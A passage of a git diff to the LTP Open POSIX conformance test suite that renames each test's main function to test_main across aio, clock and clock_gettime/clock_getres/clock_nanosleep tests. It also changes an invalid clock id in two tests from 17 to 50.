PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; char buf[BUF_SIZE]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_return/3-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_return/3-2.c index 30a850db..14ab430a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_return/3-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_return/3-2.c @@ -38,7 +38,7 @@ #define TNAME "aio_return/3-2.c" #define BUF_SIZE 4096 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; char buf[BUF_SIZE]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_return/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_return/4-1.c index a243b3e9..6cfd3ced 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_return/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_return/4-1.c @@ -38,7 +38,7 @@ #define TNAME "aio_return/4-1.c" #define BUF_SIZE 111 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; char buf[BUF_SIZE]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_suspend/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_suspend/1-1.c index 04f6d2b7..8f0c9ae9 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_suspend/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_suspend/1-1.c @@ -59,7 +59,7 @@ static void sigrt1_handler(int signum PTS_ATTRIBUTE_UNUSED, received_all = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; int fd; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_suspend/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_suspend/3-1.c index 615b97dd..3d48b635 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_suspend/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_suspend/3-1.c @@ -38,7 +38,7 @@ #define NENT 8 #define NAIOCB 3 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; #define BUF_SIZE 1024 diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_suspend/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_suspend/4-1.c index 0de8c9a9..51d2354f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_suspend/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_suspend/4-1.c @@ -59,7 +59,7 @@ static void sigrt2_handler(int signum) received_all = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; struct aiocb aiocbs[NUM_AIOCBS]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_suspend/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_suspend/5-1.c index fea542a8..d96c3f3a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_suspend/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_suspend/5-1.c @@ -21,7 +21,7 @@ #include <unistd.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (sysconf(_SC_ASYNCHRONOUS_IO) != 200112L || sysconf(_SC_MONOTONIC_CLOCK) < 200112L) diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_suspend/9-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_suspend/9-1.c index d7cdf0d8..f7ec07e5 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_suspend/9-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_suspend/9-1.c @@ -192,7 +192,7 @@ err0: return err; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int aio_cbs = 10; int buf_size = 1024 * 64; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_write/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_write/1-1.c index 299d1947..3e451277 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_write/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_write/1-1.c @@ -37,7 +37,7 @@ #define TNAME "aio_write/1-1.c" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; #define BUF_SIZE 512 diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_write/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_write/1-2.c index 650cec2d..ddd2e304 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_write/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_write/1-2.c @@ -38,7 +38,7 @@ #define TNAME "aio_write/1-2.c" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; #define BUF_SIZE 1024 diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_write/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_write/2-1.c index 2dbfcd1f..03377a89 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_write/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_write/2-1.c @@ -37,7 +37,7 @@ #define TNAME "aio_write/2-1.c" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; #define BUF_SIZE0 512 diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_write/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_write/3-1.c index ea3f9aa1..0311bb40 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_write/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_write/3-1.c @@ -37,7 +37,7 @@ #define TNAME "aio_write/3-1.c" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; #define BUF_SIZE 512 diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_write/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_write/5-1.c index c56f7ebe..b2fa9986 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_write/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_write/5-1.c @@ -36,7 +36,7 @@ #define TNAME "aio_write/5-1.c" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; #define BUF_SIZE 512 diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_write/6-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_write/6-1.c index 60428ce2..8de1317c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_write/6-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_write/6-1.c @@ -34,7 +34,7 @@ #define TNAME "aio_write/6-1.c" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct aiocb aiocb; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_write/7-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_write/7-1.c index 52c8d700..fc920c28 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_write/7-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_write/7-1.c @@ -39,7 +39,7 @@ #define NUM_AIOCBS 1024 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; #define BUF_SIZE 512 diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_write/8-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_write/8-1.c index a4c2e223..12a30c55 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_write/8-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_write/8-1.c @@ -35,7 +35,7 @@ #define TNAME "aio_write/8-1.c" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { #define BUF_SIZE 512 char buf[BUF_SIZE]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_write/8-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_write/8-2.c index 3cc3fd5c..09715ed6 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_write/8-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_write/8-2.c @@ -36,7 +36,7 @@ #define TNAME "aio_write/8-2.c" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; #define BUF_SIZE 512 diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_write/9-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_write/9-1.c index 68d4d0bd..f1f9f9d6 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_write/9-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_write/9-1.c @@ -39,7 +39,7 @@ #define TNAME "aio_write/9-1.c" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; #define BUF_SIZE 111 diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_write/9-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_write/9-2.c index d9ddcb30..c3d72488 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_write/9-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_write/9-2.c @@ -39,7 +39,7 @@ #define TNAME "aio_write/9-2.c" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; #define BUF_SIZE 512 diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/asctime/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/asctime/1-1.c index 8463d953..bb10fcf4 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/asctime/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/asctime/1-1.c @@ -24,7 +24,7 @@ The asctime() function shall convert the broken-down time in the structure point #include <unistd.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct tm time_ptr; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock/1-1.c index e255720d..d11312ed 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock/1-1.c @@ -22,7 +22,7 @@ #define MAX_RUNTIME_SECONDS 15 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { clock_t c1, c2; double sec1, sec2; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock/2-1.c index 6bf1d376..dc79ab15 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock/2-1.c @@ -21,7 +21,7 @@ #define EXPECTEDVALUE INTMAX_C(1000000) -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { intmax_t clocks_per_sec = (intmax_t) CLOCKS_PER_SEC; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/1-1.c index 745df9cc..c0807813 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/1-1.c @@ -29,7 +29,7 @@ static void dosomething(void) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { #if !defined(_POSIX_CPUTIME) || _POSIX_CPUTIME == -1 printf("_POSIX_CPUTIME unsupported\n"); diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/1-2.c index ebcdf057..b72999f3 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/1-2.c @@ -20,7 +20,7 @@ #include <unistd.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { #if !defined(_POSIX_CPUTIME) || _POSIX_CPUTIME == -1 printf("_POSIX_CPUTIME unsupported\n"); diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/2-1.c index c19227b9..13c7943d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/2-1.c @@ -19,7 +19,7 @@ #include "posixtest.h" #include "timespec.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { #if !defined(_POSIX_CPUTIME) || _POSIX_CPUTIME == -1 printf("_POSIX_CPUTIME unsupported\n"); diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/5-1.c index 2e9961a1..08888b52 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/5-1.c @@ -17,7 +17,7 @@ #include <unistd.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { #if !defined(_POSIX_CPUTIME) || _POSIX_CPUTIME == -1 printf("_POSIX_CPUTIME unsupported\n"); diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/6-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/6-1.c index f1995ed9..15f6f2d7 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/6-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_getcpuclockid/6-1.c @@ -15,7 +15,7 @@ #include <unistd.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { #if !defined(_POSIX_CPUTIME) || _POSIX_CPUTIME == -1 printf("_POSIX_CPUTIME unsupported\n"); diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_getres/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_getres/1-1.c index 3b09cf4a..917120d9 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_getres/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_getres/1-1.c @@ -14,7 +14,7 @@ #include "posixtest.h" #define LARGENUM 100000 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec res; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_getres/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_getres/3-1.c index 235643f9..ef891e91 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_getres/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_getres/3-1.c @@ -15,7 +15,7 @@ #define LARGENUM 100000 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { #ifdef CLOCK_MONOTONIC struct timespec res; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_getres/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_getres/5-1.c index a7c48d85..83cd102c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_getres/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_getres/5-1.c @@ -13,7 +13,7 @@ #define INVALIDCLOCKID 99999 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec res; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_getres/6-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_getres/6-1.c index 019c4aac..4dcd5cda 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_getres/6-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_getres/6-1.c @@ -15,7 +15,7 @@ #define INVALIDCLOCKID 99999 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec res; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_getres/6-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_getres/6-2.c index c4480901..a0b36331 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_getres/6-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_getres/6-2.c @@ -17,8 +17,7 @@ * unassigned value = -1073743192 (ex. of what gcc will set to) * unassigned value = 1073743192 (ex. of what gcc will set to) * -1 - * 17 (currently not = to any clock) - * + * 50 (hopefully big enough value not to be a valid clock id) */ #include <stdio.h> #include <time.h> @@ -28,12 +27,12 @@ #define NUMINVALIDTESTS 8 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec res; int invalid_tests[NUMINVALIDTESTS] = { INT32_MIN, INT32_MAX, 2147483647, -2147483647, -1073743192, - 1073743192, -1, 17 + 1073743192, -1, 50 }; int i; int failure = 0; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_getres/7-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_getres/7-1.c index 9a4c05b5..edbcd01e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_getres/7-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_getres/7-1.c @@ -15,7 +15,7 @@ #include "posixtest.h" #define LARGENUM 100000 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { #if _POSIX_CPUTIME != -1 struct timespec res; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_getres/8-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_getres/8-1.c index b35c41cd..cd59da90 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_getres/8-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_getres/8-1.c @@ -15,7 +15,7 @@ #include "posixtest.h" #define LARGENUM 100000 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { #if _POSIX_THREAD_CPUTIME != -1 struct timespec res; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_gettime/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_gettime/1-1.c index 4e8dd846..0fbb8482 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_gettime/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_gettime/1-1.c @@ -12,7 +12,7 @@ #include <time.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec tp; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_gettime/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_gettime/1-2.c index b5b698f8..803c4593 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_gettime/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_gettime/1-2.c @@ -20,7 +20,7 @@ #define ACCEPTABLEDELTA 1 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec tpundertest; struct timeval tvstandard; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_gettime/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_gettime/2-1.c index 128169c3..686f0b92 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_gettime/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_gettime/2-1.c @@ -20,7 +20,7 @@ #define ACCEPTABLEDELTA 1 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec tpundertest; struct timeval tvstandard; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_gettime/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_gettime/3-1.c index 910224e0..73f5d978 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_gettime/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_gettime/3-1.c @@ -16,7 +16,7 @@ #include <unistd.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { #ifdef CLOCK_MONOTONIC diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_gettime/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_gettime/4-1.c index a7556743..b3c87715 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_gettime/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_gettime/4-1.c @@ -27,7 +27,7 @@ static void dosomething() } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { #if _POSIX_CPUTIME == -1 printf("_POSIX_CPUTIME unsupported\n"); diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_gettime/7-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_gettime/7-1.c index 5968b386..a5c595cb 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_gettime/7-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_gettime/7-1.c @@ -12,7 +12,7 @@ #include "posixtest.h" #define INVALIDCLOCK 9999 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec tp; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_gettime/8-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_gettime/8-1.c index eea8e9b7..82d4a98f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_gettime/8-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_gettime/8-1.c @@ -14,7 +14,7 @@ #include "posixtest.h" #define INVALIDCLOCK 9999 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec tp; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_gettime/8-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_gettime/8-2.c index ed4cd407..80107f79 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_gettime/8-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_gettime/8-2.c @@ -15,7 +15,7 @@ * unassigned value = -1073743192 (ex. of what gcc will set to) * unassigned value = 1073743192 (ex. of what gcc will set to) * -1 - * 17 (currently not = to any clock) + * 50 (hopefully big enough value not to be a valid clock id) */ #include <stdio.h> #include <time.h> @@ -27,10 +27,10 @@ static int invalid_tests[NUMINVALIDTESTS] = { INT32_MIN, INT32_MAX, 2147483647, -2147483647, -1073743192, - 1073743192, -1, 17 + 1073743192, -1, 50 }; -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec tp; int i; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/1-1.c index 7647003d..06894f4c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/1-1.c @@ -15,7 +15,7 @@ #define SLEEPNSEC 3000000 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec tssleep, tsbefore, tsafter; int slepts = 0, sleptns = 0; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/1-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/1-3.c index e2fdc4c3..d8cdc7bb 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/1-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/1-3.c @@ -33,7 +33,7 @@ static void handler(int signo) printf("In handler\n"); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec tssleep, tsbefore, tsafter; int pid; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/1-4.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/1-4.c index ca3d0798..380d8a32 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/1-4.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/1-4.c @@ -18,7 +18,7 @@ #define SLEEPSEC 30 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec tssleep, tsbefore, tsafter; int pid; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/1-5.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/1-5.c index 7c09d759..54b58a4a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/1-5.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/1-5.c @@ -25,7 +25,7 @@ #define CHILDPASS 1 #define CHILDFAIL 0 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int pid, slepts; struct timespec tsbefore, tsafter; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/10-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/10-1.c index 9fae578b..ffdc945e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/10-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/10-1.c @@ -29,7 +29,7 @@ static void handler(int signo) printf("In handler\n"); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec tssleep; int pid; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/11-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_nanosleep/11-1.c index 334d170d..e180ff7e 100644 --- 